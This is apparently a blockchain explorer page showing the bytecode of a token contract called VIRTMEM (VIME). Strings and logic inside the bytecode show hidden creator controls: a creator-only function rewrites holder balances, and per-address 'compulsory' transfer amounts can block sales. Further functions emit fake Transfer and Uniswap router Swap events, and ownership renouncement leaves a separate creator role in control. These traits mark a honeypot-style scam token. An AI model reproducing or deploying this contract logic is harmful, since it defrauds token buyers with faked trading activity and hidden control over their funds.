616c696420616464726573732073706563696669656400000000000000600082015250565b60006123e260198361154a565b91506123ed826123ac565b602082019050919050565b60006020820190508181036000830152612411816123d5565b9050919050565b600060408201905061242d600083018561170f565b61243a602083018461170f565b939250505056fea26469706673582212205fe55754dc405e485d20ddbda188b3e5b6984aba14a0c4987461efe131cfb48064736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c806395d89b41116100b8578063c587396b1161007c578063c587396b14610391578063d8fb93611461039b578063dd62ed3e146103b7578063e03504af146103e7578063e156b1b614610405578063f300240b1461043557610142565b806395d89b41146102d7578063a713fd53146102f5578063a73677ea14610313578063a9059cbb14610343578063c345cf231461037357610142565b8063313ce5671161010a578063313ce567146102015780633f5160181461021f57806355195c271461023b5780635c01b60c1461025957806370a08231146102775780637425e675146102a757610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b35780632a85c48b146101e3575b600080fd5b61014f610451565b60405161015c91906115cf565b60405180910390f35b61017f600480360381019061017a9190611699565b61048e565b60405161018c91906116f4565b60405180910390f35b61019d61058e565b6040516101aa919061171e565b60405180910390f35b6101cd60048036038101906101c89190611739565b6105b1565b6040516101da91906116f4565b60405180910390f35b6101eb610889565b6040516101f8919061179b565b60405180910390f35b6102096108b2565b60405161021691906117d2565b60405180910390f35b610239600480360381019061023491906117ed565b6108bb565b005b61024361097b565b604051610250919061179b565b60405180910390f35b6102616109a5565b60405161026e91906115cf565b60405180910390f35b610291600480360381019061028c91906117ed565b6109de565b60405161029e919061171e565b60405180910390f35b6102c160048036038101906102bc91906117ed565b610a27565b6040516102ce919061171e565b60405180910390f35b6102df610a70565b6040516102ec91906115cf565b60405180910390f35b6102fd610aad565b60405161030a91906117d2565b60405180910390f35b61032d60048036038101906103289190611a6b565b610ab2565b60405161033a91906116f4565b60405180910390f35b61035d60048036038101906103589190611699565b610d3b565b60405161036a91906116f4565b60405180910390f35b61037b610f50565b604051610388919061171e565b60405180910390f35b610399610f6f565b005b6103b560048036038101906103b09190611b61565b6110ab565b005b6103d160048036038101906103cc9190611bbd565b6112f7565b6040516103de919061171e565b60405180910390f35b6103ef61137e565b6040516103fc91906115cf565b60405180910390f35b61041f600480360381019061041a9190611739565b6113b7565b60405161042c91906116f4565b60405180910390f35b61044f600480360381019061044a9190611c58565b611429565b005b60606040518060400160405280600781526020017f564952544d454d00000000000000000000000000000000000000000000000000815250905090565b6000816001600061049d611537565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610537611537565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057c919061171e565b60405180910390a36001905092915050565b60006012600a61059e9190611e1a565b629896806105ac9190611e65565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105fd611537565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610679576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067090611ef3565b60405180910390fd5b600061068485610a27565b905060008111156106d2578083146106d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c890611f5f565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107219190611f7f565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107779190611fb3565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107c8611537565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108119190611f7f565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610875919061171e565b60405180910390a360019150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b6108c3611537565b73ffffffffffffffffffffffffffffffffffffffff166108e1610889565b73ffffffffffffffffffffffffffffffffffffffff1614610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e90612059565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600481526020017f56494d450000000000000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600481526020017f56494d4500000000000000000000000000000000000000000000000000000000815250905090565b601281565b600080600090505b8751811015610d2b57878181518110610ad657610ad5612079565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef898481518110610b3f57610b3e612079565b5b6020026020010151604051610b54919061171e565b60405180910390a3878181518110610b6f57610b6e612079565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822898481518110610bec57610beb612079565b5b60200260200101516000808b8781518110610c0a57610c09612079565b5b6020026020010151604051610c2294939291906120ed565b60405180910390a38473ffffffffffffffffffffffffffffffffffffffff1663e156b1b6898381518110610c5957610c58612079565b5b60200260200101518b898581518110610c7557610c74612079565b5b60200260200101516040518463ffffffff1660e01b8152600401610c9b93929190612132565b6020604051808303816000875af1158015610cba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cde9190612195565b507f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad18484604051610d109291906121d1565b60405180910390a18080610d23906121fa565b915050610aba565b5060019050979650505050505050565b60008160026000610d4a611537565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbd9061228e565b60405180910390fd5b6000610dd8610dd3611537565b610a27565b90506000811115610e2657808314610e25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1c90611f5f565b60405180910390fd5b5b8260026000610e33611537565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e7c9190611f7f565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed29190611fb3565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610ef8611537565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f3d919061171e565b60405180910390a3600191505092915050565b6012600a610f5e9190611e1a565b62989680610f6c9190611e65565b81565b610f77611537565b73ffffffffffffffffffffffffffffffffffffffff16610f95610889565b73ffffffffffffffffffffffffffffffffffffffff1614610feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe290612059565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2e7a15f9b81baf1ce20ddf406f35b22e54608ada95c1cf5ee5221da0d0ccb76a60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6110b3611537565b73ffffffffffffffffffffffffffffffffffffffff166110d161097b565b73ffffffffffffffffffffffffffffffffffffffff1614611127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111e90612320565b60405180910390fd5b600081101561116b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111629061238c565b60405180910390fd5b60005b82518110156112f257600083828151811061118c5761118b612079565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611205576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fc906123f8565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167ff4e3f146ef01bfe65e811aade3a860b33927625771e1f2c45ae705ae2e44d3e882866040516112d5929190612418565b60405180910390a2505080806112ea906121fa565b91505061116e565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600781526020017f564952544d454d0000000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611416919061171e565b60405180910390a3600190509392505050565b611431611537565b73ffffffffffffffffffffffffffffffffffffffff1661144f61097b565b73ffffffffffffffffffffffffffffffffffffffff16146114a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149c90612320565b60405180910390fd5b60005b838390508110156115315781600360008686858181106114cb576114ca612079565b5b90506020020160208101906114e091906117ed565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080611529906121fa565b9150506114a8565b50505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561157957808201518184015260208101905061155e565b60008484015250505050565b6000601f19601f8301169050919050565b60006115a18261153f565b6115ab818561154a565b93506115bb81856020860161155b565b6115c481611585565b840191505092915050565b600060208201905081810360008301526115e98184611596565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061163082611605565b9050919050565b61164081611625565b811461164b57600080fd5b50565b60008135905061165d81611637565b92915050565b6000819050919050565b61167681611663565b811461168157600080fd5b50565b6000813590506116938161166d565b92915050565b600080604083850312156116b0576116af6115fb565b5b60006116be8582860161164e565b92505060206116cf85828601611684565b9150509250929050565b60008115159050919050565b6116ee816116d9565b82525050565b600060208201905061170960008301846116e5565b92915050565b61171881611663565b82525050565b6000602082019050611733600083018461170f565b92915050565b600080600060608486031215611752576117516115fb565b5b60006117608682870161164e565b93505060206117718682870161164e565b925050604061178286828701611684565b9150509250925092565b61179581611625565b82525050565b60006020820190506117b0600083018461178c565b92915050565b600060ff82169050919050565b6117cc816117b6565b82525050565b60006020820190506117e760008301846117c3565b92915050565b600060208284031215611803576118026115fb565b5b60006118118482850161164e565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61185782611585565b810181811067ffffffffffffffff821117156118765761187561181f565b5b80604052505050565b60006118896115f1565b9050611895828261184e565b919050565b600067ffffffffffffffff8211156118b5576118b461181f565b5b602082029050602081019050919050565b600080fd5b60006118de6118d98461189a565b61187f565b90508083825260208201905060208402830185811115611901576119006118c6565b5b835b8181101561192a5780611916888261164e565b845260208401935050602081019050611903565b5050509392505050565b600082601f8301126119495761194861181a565b5b81356119598482602086016118cb565b91505092915050565b600067ffffffffffffffff82111561197d5761197c61181f565b5b602082029050602081019050919050565b60006119a161199c84611962565b61187f565b905080838252602082019050602084028301858111156119c4576119c36118c6565b5b835b818110156119ed57806119d98882611684565b8452602084019350506020810190506119c6565b5050509392505050565b600082601f830112611a0c57611a0b61181a565b5b8135611a1c84826020860161198e565b91505092915050565b60006dffffffffffffffffffffffffffff82169050919050565b611a4881611a25565b8114611a5357600080fd5b50565b600081359050611a6581611a3f565b92915050565b600080600080600080600060e0888a031215611a8a57611a896115fb565b5b6000611a988a828b0161164e565b975050602088013567ffffffffffffffff811115611ab957611ab8611600565b5b611ac58a828b01611934565b965050604088013567ffffffffffffffff811115611ae657611ae5611600565b5b611af28a828b016119f7565b955050606088013567ffffffffffffffff811115611b1357611b12611600565b5b611b1f8a828b016119f7565b9450506080611b308a828b0161164e565b93505060a0611b418a828b01611a56565b92505060c0611b528a828b01611a56565b91505092959891949750929550565b60008060408385031215611b7857611b776115fb565b5b600083013567ffffffffffffffff811115611b9657611b95611600565b5b611ba285828601611934565b9250506020611bb385828601611684565b9150509250929050565b60008060408385031215611bd457611bd36115fb565b5b6000611be28582860161164e565b9250506020611bf38582860161164e565b9150509250929050565b600080fd5b60008083601f840112611c1857611c1761181a565b5b8235905067ffffffffffffffff811115611c3557611c34611bfd565b5b602083019150836020820283011115611c5157611c506118c6565b5b9250929050565b600080600060408486031215611c7157611c706115fb565b5b600084013567ffffffffffffffff811115611c8f57611c8e611600565b5b611c9b86828701611c02565b93509350506020611cae86828701611684565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611d3e57808604811115611d1a57611d19611cb8565b5b6001851615611d295780820291505b8081029050611d3785611ce7565b9450611cfe565b94509492505050565b600082611d575760019050611e13565b81611d655760009050611e13565b8160018114611d7b5760028114611d8557611db4565b6001915050611e13565b60ff841115611d9757611d96611cb8565b5b8360020a915084821115611dae57611dad611cb8565b5b50611e13565b5060208310610133831016604e8410600b8410161715611de95782820a905083811115611de457611de3611cb8565b5b611e13565b611df68484846001611cf4565b92509050818404811115611e0d57611e0c611cb8565b5b81810290505b9392505050565b6000611e2582611663565b9150611e30836117b6565b9250611e5d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611d47565b905092915050565b6000611e7082611663565b9150611e7b83611663565b9250828202611e8981611663565b91508282048414831517611ea057611e9f611cb8565b5b5092915050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611edd60198361154a565b9150611ee882611ea7565b602082019050919050565b60006020820190508181036000830152611f0c81611ed0565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b6000611f4960208361154a565b9150611f5482611f13565b602082019050919050565b60006020820190508181036000830152611f7881611f3c565b9050919050565b6000611f8a82611663565b9150611f9583611663565b9250828203905081811115611fad57611fac611cb8565b5b92915050565b6000611fbe82611663565b9150611fc983611663565b9250828201905080821115611fe157611fe0611cb8565b5b92915050565b7f556e617574686f72697a65643a204578636c7573697665204f776e657220616360008201527f636573732072657175697265642e000000000000000000000000000000000000602082015250565b6000612043602e8361154a565b915061204e82611fe7565b604082019050919050565b6000602082019050818103600083015261207281612036565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b60006120d76120d26120cd846120a8565b6120b2565b611663565b9050919050565b6120e7816120bc565b82525050565b6000608082019050612102600083018761170f565b61210f60208301866120de565b61211c60408301856120de565b612129606083018461170f565b95945050505050565b6000606082019050612147600083018661178c565b612154602083018561178c565b612161604083018461170f565b949350505050565b612172816116d9565b811461217d57600080fd5b50565b60008151905061218f81612169565b92915050565b6000602082840312156121ab576121aa6115fb565b5b60006121b984828501612180565b91505092915050565b6121cb81611a25565b82525050565b60006040820190506121e660008301856121c2565b6121f360208301846121c2565b9392505050565b600061220582611663565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361223757612236611cb8565b5b600182019050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b600061227860148361154a565b915061228382612242565b602082019050919050565b600060208201905081810360008301526122a78161226b565b9050919050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061230a60268361154a565b9150612315826122ae565b604082019050919050565b60006020820190508181036000830152612339816122fd565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000612376601b8361154a565b915061238182612340565b602082019050919050565b600060208201905081810360008301526123a581612369565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b60006123e260198361154a565b91506123ed826123ac565b602082019050919050565b60006020820190508181036000830152612411816123d5565b9050919050565b600060408201905061242d600083018561170f565b61243a602083018461170f565b939250505056fea26469706673582212205fe55754dc405e485d20ddbda188b3e5b6984aba14a0c4987461efe131cfb48064736f6c63430008120033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.